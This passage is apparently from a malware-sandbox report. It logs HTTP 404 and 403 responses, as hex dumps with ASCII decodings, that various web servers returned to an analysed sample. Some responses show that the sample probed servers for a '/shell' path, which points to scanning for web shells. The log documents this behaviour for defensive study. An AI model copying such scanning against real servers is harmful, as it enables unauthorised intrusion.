79 3e 0a 09 09 0a 09 09 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> <title>404 Not Found</title> </head> <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc"> <h4>404 Not Found</h4>File not found.</pre><hr> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Content-Type: text/html; charset=UTF-8Accept-Ranges: bytesConnection: closeCache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL was not found on this server.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:33 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Sun, 14 Apr 2024 02:00:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 235Connection: keep-aliveETag: "5f295cf1-eb"Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e7 82 b9 e5 87 bb e8 bf 94 e5 9b 9e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 33 36 35 72 69 6c 69 2e 63 6f 6d 22 3e 33 36 35 72 69 6c 69 2e 63 6f 6d 3c 2f 61 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head><a href="http://www.365rili.com">365rili.com</a></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:33 GMTContent-Type: text/plain; charset=UTF-8Content-Length: 14Connection: keep-aliveVary: Accept-EncodingAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Headers: Content-Type, X-Homad-Compatible-Vpaid, X-Homad-Post, X-Homad-UrlAccess-Control-Allow-Methods: GET, POST, OPTIONSAccess-Control-Expose-Headers: Date, X-Homad-Instance, X-Homad-Long-Ad-Ignored, X-Homad-Sig, X-Homad-Url, X-Homad-Vpaid-Ignored, X-Homad-Ad-IdData Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.15.8.1Date: Sun, 14 Apr 2024 02:00:34 GMTContent-Type: text/htmlContent-Length: 159Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:34 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:34 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:34 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-type: text/html; charset=iso-8859-1Accept-Ranges: bytesConnection: Keep-AliveTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:35 GMTServer: Apache/2.4.46 () OpenSSL/1.0.2k-fipsContent-Length: 196Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:00:35 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:36 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:35 GMTServer: ApacheContent-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:37 GMTContent-Length: 74Content-Type: text/plain; charset=utf-8Via: 1.1 google
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:38 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 14 Apr 2024 02:00:39 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.4Date: Sun, 14 Apr 2024 02:00:40 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.4</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0Date: Sun, 14 Apr 2024 02:00:40 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:40 GMTContent-Type: text/htmlContent-Length: 342Connection: keep-aliveVary: Accept-EncodingETag: "660bd485-156"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:00:41 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 282Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML 